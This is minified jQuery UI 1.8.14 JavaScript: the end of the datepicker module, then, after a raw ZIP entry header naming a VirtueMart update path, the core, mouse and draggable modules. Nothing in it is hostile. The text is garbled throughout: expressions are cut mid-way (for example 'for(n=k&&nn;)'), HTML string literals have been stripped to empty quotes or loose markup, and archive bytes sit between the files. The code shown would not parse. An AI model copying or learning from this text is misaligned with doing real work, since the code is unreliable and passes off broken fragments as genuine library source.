true},_showDatepicker:function(a){a=a.target||a;if(a.nodeName.toLowerCase()!="input")a=d("input",a.parentNode)[0];if(!(d.datepicker._isDisabledDatepicker(a)||d.datepicker._lastInput==a)){var b=d.datepicker._getInst(a);if(d.datepicker._curInst&&d.datepicker._curInst!=b){d.datepicker._datepickerShowing&&d.datepicker._triggerOnClose(d.datepicker._curInst);d.datepicker._curInst.dpDiv.stop(true,true)}var c= d.datepicker._get(b,"beforeShow");H(b.settings,c?c.apply(a,[a,b]):{});b.lastVal=null;d.datepicker._lastInput=a;d.datepicker._setDateFromField(b);if(d.datepicker._inDialog)a.value="";if(!d.datepicker._pos){d.datepicker._pos=d.datepicker._findPos(a);d.datepicker._pos[1]+=a.offsetHeight}var e=false;d(a).parents().each(function(){e|=d(this).css("position")=="fixed";return!e});if(e&&d.browser.opera){d.datepicker._pos[0]-=document.documentElement.scrollLeft;d.datepicker._pos[1]-=document.documentElement.scrollTop}c= {left:d.datepicker._pos[0],top:d.datepicker._pos[1]};d.datepicker._pos=null;b.dpDiv.empty();b.dpDiv.css({position:"absolute",display:"block",top:"-1000px"});d.datepicker._updateDatepicker(b);c=d.datepicker._checkOffset(b,c,e);b.dpDiv.css({position:d.datepicker._inDialog&&d.blockUI?"static":e?"fixed":"absolute",display:"none",left:c.left+"px",top:c.top+"px"});if(!b.inline){c=d.datepicker._get(b,"showAnim");var f=d.datepicker._get(b,"duration"),h=function(){var i=b.dpDiv.find("iframe.ui-datepicker-cover"); if(i.length){var g=d.datepicker._getBorders(b.dpDiv);i.css({left:-g[0],top:-g[1],width:b.dpDiv.outerWidth(),height:b.dpDiv.outerHeight()})}};b.dpDiv.zIndex(d(a).zIndex()+1);d.datepicker._datepickerShowing=true;d.effects&&d.effects[c]?b.dpDiv.show(c,d.datepicker._get(b,"showOptions"),f,h):b.dpDiv[c||"show"](c?f:null,h);if(!c||!f)h();b.input.is(":visible")&&!b.input.is(":disabled")&&b.input.focus();d.datepicker._curInst=b}}},_updateDatepicker:function(a){this.maxRows=4;var b=d.datepicker._getBorders(a.dpDiv); J=a;a.dpDiv.empty().append(this._generateHTML(a));var c=a.dpDiv.find("iframe.ui-datepicker-cover");c.length&&c.css({left:-b[0],top:-b[1],width:a.dpDiv.outerWidth(),height:a.dpDiv.outerHeight()});a.dpDiv.find("."+this._dayOverClass+" a").mouseover();b=this._getNumberOfMonths(a);c=b[1];a.dpDiv.removeClass("ui-datepicker-multi-2 ui-datepicker-multi-3 ui-datepicker-multi-4").width("");c>1&&a.dpDiv.addClass("ui-datepicker-multi-"+c).css("width",17*c+"em");a.dpDiv[(b[0]!=1||b[1]!=1?"add":"remove")+"Class"]("ui-datepicker-multi"); a.dpDiv[(this._get(a,"isRTL")?"add":"remove")+"Class"]("ui-datepicker-rtl");a==d.datepicker._curInst&&d.datepicker._datepickerShowing&&a.input&&a.input.is(":visible")&&!a.input.is(":disabled")&&a.input[0]!=document.activeElement&&a.input.focus();if(a.yearshtml){var e=a.yearshtml;setTimeout(function(){e===a.yearshtml&&a.yearshtml&&a.dpDiv.find("select.ui-datepicker-year:first").replaceWith(a.yearshtml);e=a.yearshtml=null},0)}},_getBorders:function(a){var b=function(c){return{thin:1,medium:2,thick:3}[c]|| c};return[parseFloat(b(a.css("border-left-width"))),parseFloat(b(a.css("border-top-width")))]},_checkOffset:function(a,b,c){var e=a.dpDiv.outerWidth(),f=a.dpDiv.outerHeight(),h=a.input?a.input.outerWidth():0,i=a.input?a.input.outerHeight():0,g=document.documentElement.clientWidth+d(document).scrollLeft(),j=document.documentElement.clientHeight+d(document).scrollTop();b.left-=this._get(a,"isRTL")?e-h:0;b.left-=c&&b.left==a.input.offset().left?d(document).scrollLeft():0;b.top-=c&&b.top==a.input.offset().top+ i?d(document).scrollTop():0;b.left-=Math.min(b.left,b.left+e>g&&g>e?Math.abs(b.left+e-g):0);b.top-=Math.min(b.top,b.top+f>j&&j>f?Math.abs(f+i):0);return b},_findPos:function(a){for(var b=this._get(this._getInst(a),"isRTL");a&&(a.type=="hidden"||a.nodeType!=1||d.expr.filters.hidden(a));)a=a[b?"previousSibling":"nextSibling"];a=d(a).offset();return[a.left,a.top]},_triggerOnClose:function(a){var b=this._get(a,"onClose");if(b)b.apply(a.input?a.input[0]:null,[a.input?a.input.val():"",a])},_hideDatepicker:function(a){var b= this._curInst;if(!(!b||a&&b!=d.data(a,"datepicker")))if(this._datepickerShowing){a=this._get(b,"showAnim");var c=this._get(b,"duration"),e=function(){d.datepicker._tidyDialog(b);this._curInst=null};d.effects&&d.effects[a]?b.dpDiv.hide(a,d.datepicker._get(b,"showOptions"),c,e):b.dpDiv[a=="slideDown"?"slideUp":a=="fadeIn"?"fadeOut":"hide"](a?c:null,e);a||e();d.datepicker._triggerOnClose(b);this._datepickerShowing=false;this._lastInput=null;if(this._inDialog){this._dialogInput.css({position:"absolute", left:"0",top:"-100px"});if(d.blockUI){d.unblockUI();d("body").append(this.dpDiv)}}this._inDialog=false}},_tidyDialog:function(a){a.dpDiv.removeClass(this._dialogClass).unbind(".ui-datepicker-calendar")},_checkExternalClick:function(a){if(d.datepicker._curInst){a=d(a.target);a[0].id!=d.datepicker._mainDivId&&a.parents("#"+d.datepicker._mainDivId).length==0&&!a.hasClass(d.datepicker.markerClassName)&&!a.hasClass(d.datepicker._triggerClass)&&d.datepicker._datepickerShowing&&!(d.datepicker._inDialog&& d.blockUI)&&d.datepicker._hideDatepicker()}},_adjustDate:function(a,b,c){a=d(a);var e=this._getInst(a[0]);if(!this._isDisabledDatepicker(a[0])){this._adjustInstDate(e,b+(c=="M"?this._get(e,"showCurrentAtPos"):0),c);this._updateDatepicker(e)}},_gotoToday:function(a){a=d(a);var b=this._getInst(a[0]);if(this._get(b,"gotoCurrent")&&b.currentDay){b.selectedDay=b.currentDay;b.drawMonth=b.selectedMonth=b.currentMonth;b.drawYear=b.selectedYear=b.currentYear}else{var c=new Date;b.selectedDay=c.getDate();b.drawMonth= b.selectedMonth=c.getMonth();b.drawYear=b.selectedYear=c.getFullYear()}this._notifyChange(b);this._adjustDate(a)},_selectMonthYear:function(a,b,c){a=d(a);var e=this._getInst(a[0]);e._selectingMonthYear=false;e["selected"+(c=="M"?"Month":"Year")]=e["draw"+(c=="M"?"Month":"Year")]=parseInt(b.options[b.selectedIndex].value,10);this._notifyChange(e);this._adjustDate(a)},_clickMonthYear:function(a){var b=this._getInst(d(a)[0]);b.input&&b._selectingMonthYear&&setTimeout(function(){b.input.focus()},0);b._selectingMonthYear= !b._selectingMonthYear},_selectDay:function(a,b,c,e){var f=d(a);if(!(d(e).hasClass(this._unselectableClass)||this._isDisabledDatepicker(f[0]))){f=this._getInst(f[0]);f.selectedDay=f.currentDay=d("a",e).html();f.selectedMonth=f.currentMonth=b;f.selectedYear=f.currentYear=c;this._selectDate(a,this._formatDate(f,f.currentDay,f.currentMonth,f.currentYear))}},_clearDate:function(a){a=d(a);this._getInst(a[0]);this._selectDate(a,"")},_selectDate:function(a,b){a=this._getInst(d(a)[0]);b=b!=null?b:this._formatDate(a); a.input&&a.input.val(b);this._updateAlternate(a);var c=this._get(a,"onSelect");if(c)c.apply(a.input?a.input[0]:null,[b,a]);else a.input&&a.input.trigger("change");if(a.inline)this._updateDatepicker(a);else{this._hideDatepicker();this._lastInput=a.input[0];typeof a.input[0]!="object"&&a.input.focus();this._lastInput=null}},_updateAlternate:function(a){var b=this._get(a,"altField");if(b){var c=this._get(a,"altFormat")||this._get(a,"dateFormat"),e=this._getDate(a),f=this.formatDate(c,e,this._getFormatConfig(a)); d(b).each(function(){d(this).val(f)})}},noWeekends:function(a){a=a.getDay();return[a>0&&a<6,""]},iso8601Week:function(a){a=new Date(a.getTime());a.setDate(a.getDate()+4-(a.getDay()||7));var b=a.getTime();a.setMonth(0);a.setDate(1);return Math.floor(Math.round((b-a)/864E5)/7)+1},parseDate:function(a,b,c){if(a==null||b==null)throw"Invalid arguments";b=typeof b=="object"?b.toString():b+"";if(b=="")return null;var e=(c?c.shortYearCutoff:null)||this._defaults.shortYearCutoff;e=typeof e!="string"?e:(new Date).getFullYear()% 100+parseInt(e,10);for(var f=(c?c.dayNamesShort:null)||this._defaults.dayNamesShort,h=(c?c.dayNames:null)||this._defaults.dayNames,i=(c?c.monthNamesShort:null)||this._defaults.monthNamesShort,g=(c?c.monthNames:null)||this._defaults.monthNames,j=c=-1,l=-1,u=-1,k=false,o=function(p){(p=B+1-1){j=1;l=u;do{e=this._getDaysInMonth(c,j-1);if(l<=e)break;j++;l-=e}while(1)}v=this._daylightSavingAdjust(new Date(c,j-1,l));if(v.getFullYear()!=c||v.getMonth()+1!=j||v.getDate()!=l)throw"Invalid date";return v},ATOM:"yy-mm-dd",COOKIE:"D, dd M yy",ISO_8601:"yy-mm-dd",RFC_822:"D, d M y",RFC_850:"DD, dd-M-y",RFC_1036:"D, d M y",RFC_1123:"D, d M yy",RFC_2822:"D, d M yy",RSS:"D, d M y", TICKS:"!",TIMESTAMP:"@",W3C:"yy-mm-dd",_ticksTo1970:(718685+Math.floor(492.5)-Math.floor(19.7)+Math.floor(4.925))*24*60*60*1E7,formatDate:function(a,b,c){if(!b)return"";var e=(c?c.dayNamesShort:null)||this._defaults.dayNamesShort,f=(c?c.dayNames:null)||this._defaults.dayNames,h=(c?c.monthNamesShort:null)||this._defaults.monthNamesShort;c=(c?c.monthNames:null)||this._defaults.monthNames;var i=function(o){(o=k+112?a.getHours()+2:0);return a},_setDate:function(a,b,c){var e=!b,f=a.selectedMonth,h=a.selectedYear;b=this._restrictMinMax(a,this._determineDate(a,b,new Date));a.selectedDay= a.currentDay=b.getDate();a.drawMonth=a.selectedMonth=a.currentMonth=b.getMonth();a.drawYear=a.selectedYear=a.currentYear=b.getFullYear();if((f!=a.selectedMonth||h!=a.selectedYear)&&!c)this._notifyChange(a);this._adjustInstDate(a);if(a.input)a.input.val(e?"":this._formatDate(a))},_getDate:function(a){return!a.currentYear||a.input&&a.input.val()==""?null:this._daylightSavingAdjust(new Date(a.currentYear,a.currentMonth,a.currentDay))},_generateHTML:function(a){var b=new Date;b=this._daylightSavingAdjust(new Date(b.getFullYear(), b.getMonth(),b.getDate()));var c=this._get(a,"isRTL"),e=this._get(a,"showButtonPanel"),f=this._get(a,"hideIfNoPrevNext"),h=this._get(a,"navigationAsDateFormat"),i=this._getNumberOfMonths(a),g=this._get(a,"showCurrentAtPos"),j=this._get(a,"stepMonths"),l=i[0]!=1||i[1]!=1,u=this._daylightSavingAdjust(!a.currentDay?new Date(9999,9,9):new Date(a.currentYear,a.currentMonth,a.currentDay)),k=this._getMinMaxDate(a,"min"),o=this._getMinMaxDate(a,"max");g=a.drawMonth-g;var m=a.drawYear;if(g<0){g+=12;m--}if(o){var n= this._daylightSavingAdjust(new Date(o.getFullYear(),o.getMonth()-i[0]*i[1]+1,o.getDate()));for(n=k&&nn;){g--;if(g<0){g=11;m--}}}a.drawMonth=g;a.drawYear=m;n=this._get(a,"prevText");n=!h?n:this.formatDate(n,this._daylightSavingAdjust(new Date(m,g-j,1)),this._getFormatConfig(a));n=this._canAdjustMonth(a,-1,m,g)?''+n+"":f?"":''+n+"";var s=this._get(a,"nextText");s=!h?s:this.formatDate(s,this._daylightSavingAdjust(new Date(m,g+j,1)),this._getFormatConfig(a));f=this._canAdjustMonth(a,+1,m,g)?''+s+"":f?"":''+s+"";j=this._get(a,"currentText");s=this._get(a,"gotoCurrent")&&a.currentDay?u:b;j=!h?j:this.formatDate(j,s,this._getFormatConfig(a));h=!a.inline?'":"";e=e?'
      '+(c?h:"")+(this._isInRange(a,s)?'":"")+(c?"":h)+"
      ":"";h=parseInt(this._get(a,"firstDay"),10);h=isNaN(h)?0:h;j=this._get(a,"showWeek");s=this._get(a,"dayNames");this._get(a,"dayNamesShort");var q=this._get(a,"dayNamesMin"),B= this._get(a,"monthNames"),v=this._get(a,"monthNamesShort"),p=this._get(a,"beforeShowDay"),D=this._get(a,"showOtherMonths"),K=this._get(a,"selectOtherMonths");this._get(a,"calculateWeek");for(var E=this._getDefaultDate(a),w="",x=0;x1)switch(G){case 0:y+=" ui-datepicker-group-first";t=" ui-corner-"+(c?"right": "left");break;case i[1]-1:y+=" ui-datepicker-group-last";t=" ui-corner-"+(c?"left":"right");break;default:y+=" ui-datepicker-group-middle";t="";break}y+='">'}y+='
      '+(/all|left/.test(t)&&x==0?c?f:n:"")+(/all|right/.test(t)&&x==0?c?n:f:"")+this._generateMonthYearHeader(a,g,m,k,o,x>0||G>0,B,v)+'
      ';var z=j?'": "";for(t=0;t<7;t++){var r=(t+h)%7;z+="=5?' class="ui-datepicker-week-end"':"")+'>'+q[r]+""}y+=z+"";z=this._getDaysInMonth(m,g);if(m==a.selectedYear&&g==a.selectedMonth)a.selectedDay=Math.min(a.selectedDay,z);t=(this._getFirstDayOfMonth(m,g)-h+7)%7;z=Math.ceil((t+z)/7);this.maxRows=z=l?this.maxRows>z?this.maxRows:z:z;r=this._daylightSavingAdjust(new Date(m,g,1-t));for(var Q=0;Q";var R=!j?"":'";for(t=0;t<7;t++){var I=p?p.apply(a.input?a.input[0]:null,[r]):[true,""],F=r.getMonth()!=g,L=F&&!K||!I[0]||k&&ro;R+='";r.setDate(r.getDate()+1);r=this._daylightSavingAdjust(r)}y+=R+""}g++;if(g>11){g=0;m++}y+="
      '+this._get(a,"weekHeader")+"
      '+ this._get(a,"calculateWeek")(r)+""+(F&&!D?" ":L?''+r.getDate()+"":''+ r.getDate()+"")+"
      "+(l?"
      "+(i[0]>0&&G==i[1]-1?'
      ':""):"");O+=y}w+=O}w+=e+(d.browser.msie&&parseInt(d.browser.version,10)<7&&!a.inline?'':"");a._keyEvent=false;return w},_generateMonthYearHeader:function(a,b,c,e,f,h,i,g){var j=this._get(a,"changeMonth"), l=this._get(a,"changeYear"),u=this._get(a,"showMonthAfterYear"),k='
      ',o="";if(h||!j)o+=''+i[b]+"";else{i=e&&e.getFullYear()==c;var m=f&&f.getFullYear()==c;o+='"}u||(k+=o+(h||!(j&&l)?" ":""));if(!a.yearshtml){a.yearshtml="";if(h||!l)k+=''+c+"";else{g=this._get(a,"yearRange").split(":");var s=(new Date).getFullYear();i=function(q){q=q.match(/c[+-].*/)?c+parseInt(q.substring(1),10):q.match(/[+-].*/)?s+parseInt(q,10):parseInt(q,10);return isNaN(q)?s:q};b=i(g[0]);g=Math.max(b,i(g[1]||""));b=e?Math.max(b,e.getFullYear()):b;g=f?Math.min(g,f.getFullYear()): g;for(a.yearshtml+='";k+=a.yearshtml;a.yearshtml=null}}k+=this._get(a,"yearSuffix");if(u)k+=(h||!(j&&l)?" ":"")+o;k+="
      ";return k},_adjustInstDate:function(a,b,c){var e=a.drawYear+(c== "Y"?b:0),f=a.drawMonth+(c=="M"?b:0);b=Math.min(a.selectedDay,this._getDaysInMonth(e,f))+(c=="D"?b:0);e=this._restrictMinMax(a,this._daylightSavingAdjust(new Date(e,f,b)));a.selectedDay=e.getDate();a.drawMonth=a.selectedMonth=e.getMonth();a.drawYear=a.selectedYear=e.getFullYear();if(c=="M"||c=="Y")this._notifyChange(a)},_restrictMinMax:function(a,b){var c=this._getMinMaxDate(a,"min");a=this._getMinMaxDate(a,"max");b=c&&ba?a:b},_notifyChange:function(a){var b=this._get(a,"onChangeMonthYear"); if(b)b.apply(a.input?a.input[0]:null,[a.selectedYear,a.selectedMonth+1,a])},_getNumberOfMonths:function(a){a=this._get(a,"numberOfMonths");return a==null?[1,1]:typeof a=="number"?[1,a]:a},_getMinMaxDate:function(a,b){return this._determineDate(a,this._get(a,b+"Date"),null)},_getDaysInMonth:function(a,b){return 32-this._daylightSavingAdjust(new Date(a,b,32)).getDate()},_getFirstDayOfMonth:function(a,b){return(new Date(a,b,1)).getDay()},_canAdjustMonth:function(a,b,c,e){var f=this._getNumberOfMonths(a); c=this._daylightSavingAdjust(new Date(c,e+(b<0?b:f[0]*f[1]),1));b<0&&c.setDate(this._getDaysInMonth(c.getFullYear(),c.getMonth()));return this._isInRange(a,c)},_isInRange:function(a,b){var c=this._getMinMaxDate(a,"min");a=this._getMinMaxDate(a,"max");return(!c||b.getTime()>=c.getTime())&&(!a||b.getTime()<=a.getTime())},_getFormatConfig:function(a){var b=this._get(a,"shortYearCutoff");b=typeof b!="string"?b:(new Date).getFullYear()%100+parseInt(b,10);return{shortYearCutoff:b,dayNamesShort:this._get(a, "dayNamesShort"),dayNames:this._get(a,"dayNames"),monthNamesShort:this._get(a,"monthNamesShort"),monthNames:this._get(a,"monthNames")}},_formatDate:function(a,b,c,e){if(!b){a.currentDay=a.selectedDay;a.currentMonth=a.selectedMonth;a.currentYear=a.selectedYear}b=b?typeof b=="object"?b:this._daylightSavingAdjust(new Date(e,c,b)):this._daylightSavingAdjust(new Date(a.currentYear,a.currentMonth,a.currentDay));return this.formatDate(this._get(a,"dateFormat"),b,this._getFormatConfig(a))}});d.fn.datepicker= function(a){if(!this.length)return this;if(!d.datepicker.initialized){d(document).mousedown(d.datepicker._checkExternalClick).find("body").append(d.datepicker.dpDiv);d.datepicker.initialized=true}var b=Array.prototype.slice.call(arguments,1);if(typeof a=="string"&&(a=="isDisabled"||a=="getDate"||a=="widget"))return d.datepicker["_"+a+"Datepicker"].apply(d.datepicker,[this[0]].concat(b));if(a=="option"&&arguments.length==2&&typeof arguments[1]=="string")return d.datepicker["_"+a+"Datepicker"].apply(d.datepicker, [this[0]].concat(b));return this.each(function(){typeof a=="string"?d.datepicker["_"+a+"Datepicker"].apply(d.datepicker,[this].concat(b)):d.datepicker._attachDatepicker(this,a)})};d.datepicker=new M;d.datepicker.initialized=false;d.datepicker.uuid=(new Date).getTime();d.datepicker.version="1.8.14";window["DP_jQuery_"+A]=d})(jQuery); PKtl>\nJcom_virtuemart_update/components/com_virtuemart/assets/js/jquery-ui.min.jsnuW+A/*! * jQuery UI 1.8.14 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI */ (function(a,d){function c(h,g){var i=h.nodeName.toLowerCase();if("area"===i){g=h.parentNode;i=g.name;if(!h.href||!i||g.nodeName.toLowerCase()!=="map")return false;h=a("img[usemap=#"+i+"]")[0];return!!h&&e(h)}return(/input|select|textarea|button|object/.test(i)?!h.disabled:"a"==i?h.href||g:g)&&e(h)}function e(h){return!a(h).parents().andSelf().filter(function(){return a.curCSS(this,"visibility")==="hidden"||a.expr.filters.hidden(this)}).length}a.ui=a.ui||{};if(!a.ui.version){a.extend(a.ui,{version:"1.8.14", keyCode:{ALT:18,BACKSPACE:8,CAPS_LOCK:20,COMMA:188,COMMAND:91,COMMAND_LEFT:91,COMMAND_RIGHT:93,CONTROL:17,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,INSERT:45,LEFT:37,MENU:93,NUMPAD_ADD:107,NUMPAD_DECIMAL:110,NUMPAD_DIVIDE:111,NUMPAD_ENTER:108,NUMPAD_MULTIPLY:106,NUMPAD_SUBTRACT:109,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SHIFT:16,SPACE:32,TAB:9,UP:38,WINDOWS:91}});a.fn.extend({_focus:a.fn.focus,focus:function(h,g){return typeof h==="number"?this.each(function(){var i=this;setTimeout(function(){a(i).focus(); g&&g.call(i)},h)}):this._focus.apply(this,arguments)},scrollParent:function(){var h;h=a.browser.msie&&/(static|relative)/.test(this.css("position"))||/absolute/.test(this.css("position"))?this.parents().filter(function(){return/(relative|absolute|fixed)/.test(a.curCSS(this,"position",1))&&/(auto|scroll)/.test(a.curCSS(this,"overflow",1)+a.curCSS(this,"overflow-y",1)+a.curCSS(this,"overflow-x",1))}).eq(0):this.parents().filter(function(){return/(auto|scroll)/.test(a.curCSS(this,"overflow",1)+a.curCSS(this, "overflow-y",1)+a.curCSS(this,"overflow-x",1))}).eq(0);return/fixed/.test(this.css("position"))||!h.length?a(document):h},zIndex:function(h){if(h!==d)return this.css("zIndex",h);if(this.length){h=a(this[0]);for(var g;h.length&&h[0]!==document;){g=h.css("position");if(g==="absolute"||g==="relative"||g==="fixed"){g=parseInt(h.css("zIndex"),10);if(!isNaN(g)&&g!==0)return g}h=h.parent()}}return 0},disableSelection:function(){return this.bind((a.support.selectstart?"selectstart":"mousedown")+".ui-disableSelection", function(h){h.preventDefault()})},enableSelection:function(){return this.unbind(".ui-disableSelection")}});a.each(["Width","Height"],function(h,g){function i(l,o,n,k){a.each(b,function(){o-=parseFloat(a.curCSS(l,"padding"+this,true))||0;if(n)o-=parseFloat(a.curCSS(l,"border"+this+"Width",true))||0;if(k)o-=parseFloat(a.curCSS(l,"margin"+this,true))||0});return o}var b=g==="Width"?["Left","Right"]:["Top","Bottom"],f=g.toLowerCase(),j={innerWidth:a.fn.innerWidth,innerHeight:a.fn.innerHeight,outerWidth:a.fn.outerWidth, outerHeight:a.fn.outerHeight};a.fn["inner"+g]=function(l){if(l===d)return j["inner"+g].call(this);return this.each(function(){a(this).css(f,i(this,l)+"px")})};a.fn["outer"+g]=function(l,o){if(typeof l!=="number")return j["outer"+g].call(this,l);return this.each(function(){a(this).css(f,i(this,l,true,o)+"px")})}});a.extend(a.expr[":"],{data:function(h,g,i){return!!a.data(h,i[3])},focusable:function(h){return c(h,!isNaN(a.attr(h,"tabindex")))},tabbable:function(h){var g=a.attr(h,"tabindex"),i=isNaN(g); return(i||g>=0)&&c(h,!i)}});a(function(){var h=document.body,g=h.appendChild(g=document.createElement("div"));a.extend(g.style,{minHeight:"100px",height:"auto",padding:0,borderWidth:0});a.support.minHeight=g.offsetHeight===100;a.support.selectstart="onselectstart"in g;h.removeChild(g).style.display="none"});a.extend(a.ui,{plugin:{add:function(h,g,i){h=a.ui[h].prototype;for(var b in i){h.plugins[b]=h.plugins[b]||[];h.plugins[b].push([g,i[b]])}},call:function(h,g,i){if((g=h.plugins[g])&&h.element[0].parentNode)for(var b= 0;b0)return true;h[g]=1;i=h[g]>0;h[g]=0;return i},isOverAxis:function(h,g,i){return h>g&&h=9)&&!c.button)return this._mouseUp(c);if(this._mouseStarted){this._mouseDrag(c);return c.preventDefault()}if(this._mouseDistanceMet(c)&&this._mouseDelayMet(c))(this._mouseStarted=this._mouseStart(this._mouseDownEvent,c)!==false)?this._mouseDrag(c):this._mouseUp(c);return!this._mouseStarted},_mouseUp:function(c){a(document).unbind("mousemove."+this.widgetName,this._mouseMoveDelegate).unbind("mouseup."+this.widgetName,this._mouseUpDelegate);if(this._mouseStarted){this._mouseStarted= false;c.target==this._mouseDownEvent.target&&a.data(c.target,this.widgetName+".preventClickEvent",true);this._mouseStop(c)}return false},_mouseDistanceMet:function(c){return Math.max(Math.abs(this._mouseDownEvent.pageX-c.pageX),Math.abs(this._mouseDownEvent.pageY-c.pageY))>=this.options.distance},_mouseDelayMet:function(){return this.mouseDelayMet},_mouseStart:function(){},_mouseDrag:function(){},_mouseStop:function(){},_mouseCapture:function(){return true}})})(jQuery); (function(a){a.widget("ui.draggable",a.ui.mouse,{widgetEventPrefix:"drag",options:{addClasses:true,appendTo:"parent",axis:false,connectToSortable:false,containment:false,cursor:"auto",cursorAt:false,grid:false,handle:false,helper:"original",iframeFix:false,opacity:false,refreshPositions:false,revert:false,revertDuration:500,scope:"default",scroll:true,scrollSensitivity:20,scrollSpeed:20,snap:false,snapMode:"both",snapTolerance:20,stack:false,zIndex:false},_create:function(){if(this.options.helper== "original"&&!/^(?:r|a|f)/.test(this.element.css("position")))this.element[0].style.position="relative";this.options.addClasses&&this.element.addClass("ui-draggable");this.options.disabled&&this.element.addClass("ui-draggable-disabled");this._mouseInit()},destroy:function(){if(this.element.data("draggable")){this.element.removeData("draggable").unbind(".draggable").removeClass("ui-draggable ui-draggable-dragging ui-draggable-disabled");this._mouseDestroy();return this}},_mouseCapture:function(d){var c= this.options;if(this.helper||c.disabled||a(d.target).is(".ui-resizable-handle"))return false;this.handle=this._getHandle(d);if(!this.handle)return false;a(c.iframeFix===true?"iframe":c.iframeFix).each(function(){a('
      ').css({width:this.offsetWidth+"px",height:this.offsetHeight+"px",position:"absolute",opacity:"0.001",zIndex:1E3}).css(a(this).offset()).appendTo("body")});return true},_mouseStart:function(d){var c=this.options;this.helper= this._createHelper(d);this._cacheHelperProportions();if(a.ui.ddmanager)a.ui.ddmanager.current=this;this._cacheMargins();this.cssPosition=this.helper.css("position");this.scrollParent=this.helper.scrollParent();this.offset=this.positionAbs=this.element.offset();this.offset={top:this.offset.top-this.margins.top,left:this.offset.left-this.margins.left};a.extend(this.offset,{click:{left:d.pageX-this.offset.left,top:d.pageY-this.offset.top},parent:this._getParentOffset(),relative:this._getRelativeOffset()}); this.originalPosition=this.position=this._generatePosition(d);this.originalPageX=d.pageX;this.originalPageY=d.pageY;c.cursorAt&&this._adjustOffsetFromHelper(c.cursorAt);c.containment&&this._setContainment();if(this._trigger("start",d)===false){this._clear();return false}this._cacheHelperProportions();a.ui.ddmanager&&!c.dropBehaviour&&a.ui.ddmanager.prepareOffsets(this,d);this.helper.addClass("ui-draggable-dragging");this._mouseDrag(d,true);a.ui.ddmanager&&a.ui.ddmanager.dragStart(this,d);return true}, _mouseDrag:function(d,c){this.position=this._generatePosition(d);this.positionAbs=this._convertPositionTo("absolute");if(!c){c=this._uiHash();if(this._trigger("drag",d,c)===false){this._mouseUp({});return false}this.position=c.position}if(!this.options.axis||this.options.axis!="y")this.helper[0].style.left=this.position.left+"px";if(!this.options.axis||this.options.axis!="x")this.helper[0].style.top=this.position.top+"px";a.ui.ddmanager&&a.ui.ddmanager.drag(this,d);return false},_mouseStop:function(d){var c= false;if(a.ui.ddmanager&&!this.options.dropBehaviour)c=a.ui.ddmanager.drop(this,d);if(this.dropped){c=this.dropped;this.dropped=false}if((!this.element[0]||!this.element[0].parentNode)&&this.options.helper=="original")return false;if(this.options.revert=="invalid"&&!c||this.options.revert=="valid"&&c||this.options.revert===true||a.isFunction(this.options.revert)&&this.options.revert.call(this.element,c)){var e=this;a(this.helper).animate(this.originalPosition,parseInt(this.options.revertDuration, 10),function(){e._trigger("stop",d)!==false&&e._clear()})}else this._trigger("stop",d)!==false&&this._clear();return false},_mouseUp:function(d){this.options.iframeFix===true&&a("div.ui-draggable-iframeFix").each(function(){this.parentNode.removeChild(this)});a.ui.ddmanager&&a.ui.ddmanager.dragStop(this,d);return a.ui.mouse.prototype._mouseUp.call(this,d)},cancel:function(){this.helper.is(".ui-draggable-dragging")?this._mouseUp({}):this._clear();return this},_getHandle:function(d){var c=!this.options.handle|| !a(this.options.handle,this.element).length?true:false;a(this.options.handle,this.element).find("*").andSelf().each(function(){if(this==d.target)c=true});return c},_createHelper:function(d){var c=this.options;d=a.isFunction(c.helper)?a(c.helper.apply(this.element[0],[d])):c.helper=="clone"?this.element.clone().removeAttr("id"):this.element;d.parents("body").length||d.appendTo(c.appendTo=="parent"?this.element[0].parentNode:c.appendTo);d[0]!=this.element[0]&&!/(fixed|absolute)/.test(d.css("position"))&& d.css("position","absolute");return d},_adjustOffsetFromHelper:function(d){if(typeof d=="string")d=d.split(" ");if(a.isArray(d))d={left:+d[0],top:+d[1]||0};if("left"in d)this.offset.click.left=d.left+this.margins.left;if("right"in d)this.offset.click.left=this.helperProportions.width-d.right+this.margins.left;if("top"in d)this.offset.click.top=d.top+this.margins.top;if("bottom"in d)this.offset.click.top=this.helperProportions.height-d.bottom+this.margins.top},_getParentOffset:function(){this.offsetParent= this.helper.offsetParent();var d=this.offsetParent.offset();if(this.cssPosition=="absolute"&&this.scrollParent[0]!=document&&a.ui.contains(this.scrollParent[0],this.offsetParent[0])){d.left+=this.scrollParent.scrollLeft();d.top+=this.scrollParent.scrollTop()}if(this.offsetParent[0]==document.body||this.offsetParent[0].tagName&&this.offsetParent[0].tagName.toLowerCase()=="html"&&a.browser.msie)d={top:0,left:0};return{top:d.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:d.left+(parseInt(this.offsetParent.css("borderLeftWidth"), 10)||0)}},_getRelativeOffset:function(){if(this.cssPosition=="relative"){var d=this.element.position();return{top:d.top-(parseInt(this.helper.css("top"),10)||0)+this.scrollParent.scrollTop(),left:d.left-(parseInt(this.helper.css("left"),10)||0)+this.scrollParent.scrollLeft()}}else return{top:0,left:0}},_cacheMargins:function(){this.margins={left:parseInt(this.element.css("marginLeft"),10)||0,top:parseInt(this.element.css("marginTop"),10)||0,right:parseInt(this.element.css("marginRight"),10)||0,bottom:parseInt(this.element.css("marginBottom"), 10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var d=this.options;if(d.containment=="parent")d.containment=this.helper[0].parentNode;if(d.containment=="document"||d.containment=="window")this.containment=[d.containment=="document"?0:a(window).scrollLeft()-this.offset.relative.left-this.offset.parent.left,d.containment=="document"?0:a(window).scrollTop()-this.offset.relative.top-this.offset.parent.top, (d.containment=="document"?0:a(window).scrollLeft())+a(d.containment=="document"?document:window).width()-this.helperProportions.width-this.margins.left,(d.containment=="document"?0:a(window).scrollTop())+(a(d.containment=="document"?document:window).height()||document.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top];if(!/^(document|window|parent)$/.test(d.containment)&&d.containment.constructor!=Array){d=a(d.containment);var c=d[0];if(c){d.offset();var e=a(c).css("overflow")!= 